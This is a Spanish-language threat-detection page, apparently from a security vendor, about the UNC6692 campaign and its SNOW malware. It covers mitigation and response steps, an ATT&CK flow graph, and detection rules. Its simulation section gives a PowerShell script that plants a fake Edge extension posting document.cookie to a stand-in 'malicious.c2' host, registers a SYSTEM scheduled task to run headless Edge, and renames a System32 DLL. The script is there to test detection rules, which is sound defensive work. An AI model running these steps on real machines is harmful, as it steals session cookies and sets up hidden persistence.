UNC6692 Despliega Malware Personalizado a Través de Ingeniería Social
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
UNC6692 llevó a cabo una intrusión de múltiples etapas que comenzó con un enlace de phishing enviado a través de Microsoft Teams, entregó una carga útil maliciosa de AutoHotKey y desplegó un kit de herramientas de malware modular personalizado conocido como SNOW, incluyendo SNOWBELT, SNOWGLAZE y SNOWBASIN. La operación también utilizó una extensión de navegador Chromium falsificada, una utilidad de tunelización basada en Python y una puerta trasera HTTP local para permitir el movimiento lateral, el robo de credenciales y la exfiltración de datos a través de servicios en la nube. La campaña se destacó por su abuso efectivo de la infraestructura legítima de la nube y los mecanismos de persistencia basados en navegadores. Detectar esta actividad requiere un monitoreo cercano del comportamiento inusual de extensiones de navegador, tareas programadas que inician Edge en modo sin cabeza y acceso sospechoso a servicios de almacenamiento en la nube.
Investigación
El Grupo de Inteligencia de Amenazas de Google descubrió la campaña a través del análisis de los registros de chat de Teams, scripts de AutoHotKey capturados, configuraciones de tareas programadas y tráfico de red que involucraba AWS S3 y un servidor WebSocket alojado en Heroku. El análisis de malware expuso la familia de malware SNOW, sus componentes internos, patrones de comunicación y el uso de PsExec por parte de los atacantes junto con herramientas de vaciado de credenciales. Los investigadores también confirmaron el robo de memoria de LSASS y archivos de bases de datos de Active Directory, que fueron extraídos a través de LimeWire.
Mitigación
Los defensores deben aplicar políticas estrictas de lista blanca para las extensiones de navegador, monitorear la ejecución de Microsoft Edge lanzada con banderas relacionadas con extensiones o modo sin cabeza, y bloquear el acceso a buckets de AWS S3 y dominios de Heroku no aprobados. Implementar la autenticación multifactor para cuentas privilegiadas y estar atentos a la ejecución de PsExec y el acceso a LSASS puede ayudar a limitar el robo de credenciales y el movimiento lateral. Las tareas programadas y los accesos directos de inicio también deben revisarse regularmente para identificar persistencia no autorizada.
Respuesta
Si se detecta cualquier componente de SNOW, aísle el sistema afectado de inmediato, termine los procesos sospechosos de Edge y AutoHotKey, y recoja memoria para el análisis forense relacionado con LSASS. Bloquee los dominios y direcciones IP de comando y control conocidos, elimine las extensiones de navegador maliciosas y rote credenciales para las cuentas privilegiadas. Luego se debe realizar un barrido completo en toda la red para identificar hosts comprometidos adicionales, junto con una revisión de tareas programadas y elementos de inicio para detección de persistencia.
"graph TB %% Class definitions classDef technique fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ffcc99 classDef operator fill:#ff9900 %% Technique nodes tech_phishing["<b>Techniques</b> – <b>T1566.002 Phishing: Enlace de Spearphishing a través de Microsoft Teams</b><br/><b>Descripción</b>: El adversario entrega un enlace malicioso a través de Microsoft Teams a los usuarios objetivo."] class tech_phishing technique tech_user_exec["<b>Techniques</b> – <b>T1204.001 Ejecución de Usuario: Hacer clic en enlace malicioso</b><br/><b>Descripción</b>: La víctima hace clic en el enlace malicioso, desencadenando la ejecución."] class tech_user_exec technique tech_ahk["<b>Techniques</b> – <b>T1059.010 Intérprete de Comandos y Scripts: AutoHotkey/AutoIT</b><br/><b>Descripción</b>: Ejecuta binario de AutoHotkey y script para ejecutar más código."] class tech_ahk technique tech_python["<b>Techniques</b> – <b>T1059.006 Intérprete de Comandos y Scripts: Python</b><br/><b>Descripción</b>: Ejecuta cargadores de Python para módulos adicionales."] class tech_python technique tech_ext["<b>Techniques</b> – <b>T1176 Extensiones de Software: Instalar Extensión de Chromium</b><br/><b>Descripción</b>: Instala una extensión de navegador maliciosa para mantener la persistencia."] class tech_ext technique tech_schedtask["<b>Techniques</b> – <b>T1053.005 Tarea Programada: Lanzar Edge sin Cabeza</b><br/><b>Descripción</b>: Crea tareas programadas para iniciar Edge con la extensión maliciosa."] class tech_schedtask technique tech_shortcut["<b>Techniques</b> – <b>T1547.009 Modificación de Acceso Directo</b><br/><b>Descripción</b>: Coloca un acceso directo en la carpeta de inicio para ejecución automática."] class tech_shortcut technique tech_ingress["<b>Techniques</b> – <b>T1105 Transferencia de Herramientas de Ingreso</b><br/><b>Descripción</b>: Descarga cargas adicionales como SNOWGLAZE y SNOWBASIN."] class tech_ingress technique tech_obfuscate["<b>Techniques</b> – <b>T1027 Archivos o Información Ofuscada</b><br/><b>Descripción</b>: Codifica cargas útiles con Base64 y encripta con AESu2011GCM."] class tech_obfuscate technique tech_archive["<b>Techniques</b> – <b>T1560 Archivar Datos Recogidos</b><br/><b>Descripción</b>: Encripta y prepara datos antes de la exfiltración."] class tech_archive technique tech_encchannel["<b>Techniques</b> – <b>T1573.001 Canal Encriptado: Criptografía Simétrica</b><br/><b>Descripción</b>: Utiliza AESu2011GCM para comunicaciones encriptadas."] class tech_encchannel technique tech_tunnel["<b>Techniques</b> – <b>T1572 Túnel de Protocolo</b><br/><b>Descripción</b>: Establece un túnel WebSocket a un servidor de mando-y-control de Heroku."] class tech_tunnel technique tech_appproto["<b>Techniques</b> – <b>T1071.001 Protocolo de Capa de Aplicación: WebSocket</b><br/><b>Descripción</b>: Se comunica con C2 sobre el protocolo de capa de aplicación WebSocket."] class tech_appproto technique tech_proxy["<b>Techniques</b> – <b>T1090 Proxy</b><br/><b>Descripción</b>: Utiliza el túnel como un proxy para enrutar el tráfico."] class tech_proxy technique tech_psexec["<b>Techniques</b> – <b>T1021.002 SMB/Comparaciones Administrativas de Windows: PsExec</b><br/><b>Descripción</b>: Ejecuta procesos remotos a través de comparaciones admin SMB para movimiento lateral."] class tech_psexec technique tech_cred_dump["<b>Techniques</b> – <b>T1003 Volcado de Credenciales de SO</b><br/><b>Descripción</b>: Extrae credenciales de la memoria de LSASS."] class tech_cred_dump technique tech_pass_hash["<b>Techniques</b> – <b>T1550.002 Paso del Hash</b><br/><b>Descripción</b>: Utiliza hashes NTLM capturados para autenticar otros sistemas."] class tech_pass_hash technique tech_rdp["<b>Techniques</b> – <b>T1021.001 Protocolo de Escritorio Remoto</b><br/><b>Descripción</b>: Se conecta a través de RDP al servidor de respaldo y al controlador de dominio."] class tech_rdp technique tech_exfil["<b>Techniques</b> – <b>T1567.002 Exfiltración a Almacenamiento en la Nube</b><br/><b>Descripción</b>: Carga archivos de bases de datos AD cosechados en Amazon S3."] class tech_exfil technique %% Tool nodes tool_ahk_binary["<b>Herramienta</b> – <b>Nombre</b>: Binario de AutoHotkey<br/><b>Descripción</b>: Ejecuta scripts AHK compilados."] class tool_ahk_binary tool tool_python_runtime["<b>Herramienta</b> – <b>Nombre</b>: Intérprete de Python<br/><b>Descripción</b>: Ejecuta cargadores basados en Python."] class tool_python_runtime tool tool_edge_headless["<b>Herramienta</b> – <b>Nombre</b>: Microsoft Edge (sin cabeza)<br/><b>Descripción</b>: Navegador utilizado para ejecutar extensión maliciosa."] class tool_edge_headless tool tool_snowglaze["<b>Herramienta</b> – <b>Nombre</b>: Cargador SNOWGLAZE<br/><b>Descripción</b>: Descarga y lanza módulos adicionales."] class tool_snowglaze tool tool_snowbasin["<b>Herramienta</b> – <b>Nombre</b>: Cargador SNOWBASIN<br/><b>Descripción</b>: Cargador secundario utilizado después de SNOWGLAZE."] class tool_snowbasin tool tool_snowbelt_ext["<b>Herramienta</b> – <b>Nombre</b>: Extensión SNOWBELT de Chromium<br/><b>Descripción</b>: Proporciona persistencia y recopilación de datos en el navegador."] class tool_snowbelt_ext tool tool_psexec["<b>Herramienta</b> – <b>Nombre</b>: PsExec<br/><b>Descripción</b>: Ejecuta procesos en hosts remotos de Windows a través de comparaciones admin."] class tool_psexec tool %% Malware nodes malware_snowglaze["<b>Malware</b> – <b>Nombre</b>: SNOWGLAZE<br/><b>Descripción</b>: Cargador que crea un túnel WebSocket y encripta tráfico."] class malware_snowglaze malware malware_snowbasin["<b>Malware</b> – <b>Nombre</b>: SNOWBASIN<br/><b>Descripción</b>: Carga secundaria que asiste en la preparación de datos."] class malware_snowbasin malware malware_snowbelt["<b>Malware</b> – <b>Nombre</b>: Extensión SNOWBELT<br/><b>Descripción</b>: Extensión de Chromium utilizada para persistencia y exfiltración."] class malware_snowbelt malware %% Attack flow connections tech_phishing –>|leads_to| tech_user_exec tech_user_exec –>|triggers| tech_ahk tech_ahk –>|uses| tool_ahk_binary tech_ahk –>|executes| tech_python tech_python –>|uses| tool_python_runtime tech_python –>|downloads| tool_snowglaze tech_python –>|downloads| tool_snowbasin tool_snowglaze –>|installs| malware_snowglaze tool_snowbasin –>|installs| malware_snowbasin malware_snowglaze –>|creates| tech_ext tech_ext –>|installs| tool_snowbelt_ext tool_snowbelt_ext –>|installs| malware_snowbelt tech_ext –>|enables| tech_schedtask tech_schedtask –>|launches| tool_edge_headless tech_ext –>|enables| tech_shortcut tech_shortcut –>|adds| op_shortcut_startup(("Acceso directo de inicio")) class op_shortcut_startup operator tech_user_exec –>|downloads| tech_ingress tech_ingress –>|delivers| tech_obfuscate tech_obfuscate –>|prepares| tech_archive tech_archive –>|protects| tech_encchannel tech_encchannel –>|protects| tech_tunnel tech_tunnel –>|uses| tech_appproto tech_tunnel –>|acts_as| tech_proxy tech_proxy –>|routes| tech_psexec tech_psexec –>|uses| tool_psexec tool_psexec –>|executes| tech_cred_dump tech_cred_dump –>|provides| tech_pass_hash tech_pass_hash –>|enables| tech_rdp tech_rdp –>|connects_to| tech_exfil "
Flujo de Ataque
Detecciones
Ejecución de Taskkill Sospechosa (vía línea de comandos)
Ver
Posible Intento de Ejecución de Script AutoHotkey (vía línea de comandos)
Ver
Binarios / Scripts Sospechosos en Ubicación de Inicio Automático (vía evento de archivo)
Ver
Comunicación de Dominio Herokuapp Sospechosa (vía proxy)
Ver
Comunicación de Dominio Herokuapp Sospechosa (vía dns)
Ver
IOCs (HashSha256) para detectar: Ventiscas de Nieve: Cómo UNC6692 Utilizó Ingeniería Social para Desplegar un Paquete de Malware Personalizado
Ver
Detección de Ejecución de Script AutoHotKey y Python de UNC6692 [Creación de Procesos de Windows]
Ver
Anomalías de Tareas Programadas y Procesos de Microsoft Edge de UNC6692 [Registro de Eventos de Seguridad de Microsoft Windows]
Ver
Ejecución de Simulación
Prerequisito: El control previo de Telemetría y Línea de Base debe haber pasado.
Rationale: Esta sección detalla la ejecución precisa de la técnica (TTP) del adversario diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección. Los ejemplos abstractos o no relacionados conducirán a un diagnóstico erróneo.
-
Narrativa y Comandos de Ataque:
- Objetivo: Establecer una ejecución persistente y sigilosa del payload basado en navegador Snowbelt en el host víctima.
- Método: Registrar una tarea programada que inicie Microsoft Edge en modo sin cabeza con la extensión maliciosa Snowbelt (
C:TempSnowbelt). La extensión carga JavaScript malicioso que contacta C2 y exfiltra datos. - Indicador de Limpieza: Después de que se ejecuta el payload, el atacante elimina
CoreUIComponents.dllde la caché de DLL del sistema para evadir la detección de un proceso de Edge “saludable”; el proceso de edge continúa ejecutándose pero el módulo está ausente, satisfaciendo la segunda cláusula de la regla.
-
Script de Prueba de Regresión:
# Simulación UNC6692 – crea tarea programada maliciosa y ejecuta Edge sin CoreUIComponents.dll # ------------------------------------------------------------------------- # 1️⃣ Definir Variables $edgePath = "$Env:ProgramFiles(x86)MicrosoftEdgeApplicationmsedge.exe" $extPath = "C:TempSnowbelt" $taskName = "SnowbeltEdgeTask" $arguments = "--headless --load-extension=`"$extPath`"" $taskUser = "SYSTEM" # 2️⃣ Asegurarse de que la carpeta de extensión exista (payload simulado) New-Item -ItemType Directory -Force -Path $extPath | Out-Null Set-Content -Path "$extPathmanifest.json" -Value '{"name":"Snowbelt","version":"1.0","manifest_version":2,"background":{"scripts":["snow.js"]}}' -Encoding UTF8 Set-Content -Path "$extPathsnow.js" -Value 'fetch("http://malicious.c2/collect", {method:"POST", body:document.cookie});' -Encoding UTF8 # 3️⃣ Registrar la tarea programada maliciosa $action = New-ScheduledTaskAction -Execute $edgePath -Argument $arguments $trigger = New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask -TaskName $taskName -Action $action -Trigger $trigger -User $taskUser -Force # 4️⃣ Iniciar la tarea inmediatamente para generar telemetría Start-ScheduledTask -TaskName $taskName # 5️⃣ Eliminar CoreUIComponents.dll del proceso de Edge en ejecución (simulado) # Nota: En un entorno real esto implicaría secuestro de DLL o parcheo de memoria de procesos. # Aquí simplemente eliminamos el archivo para causar que la verificación de la lista de tareas lo omita. $dllPath = "$Env:SystemRootSystem32CoreUIComponents.dll" if (Test-Path $dllPath) { Rename-Item -Path $dllPath -NewName "CoreUIComponents.dll.bak" -Force } # 6️⃣ Verificar que Edge esté en ejecución y que el DLL esté ausente $proc = Get-Process -Name "msedge" -ErrorAction SilentlyContinue if ($proc) { Write-Host "Proceso de Edge PID $($proc.Id) iniciado con extensión maliciosa." } -
Comandos de Limpieza:
# Eliminar tarea programada Unregister-ScheduledTask -TaskName "SnowbeltEdgeTask" -Confirm:$false # Restaurar CoreUIComponents.dll si fue renombrado $dllPath = "$Env:SystemRootSystem32CoreUIComponents.dll" $backup = "$Env:SystemRootSystem32CoreUIComponents.dll.bak" if (Test-Path $backup) { Rename-Item -Path $backup -NewName "CoreUIComponents.dll" -Force } # Eliminar archivos de extensión simulada Remove-Item -Path "C:TempSnowbelt" -Recurse -Force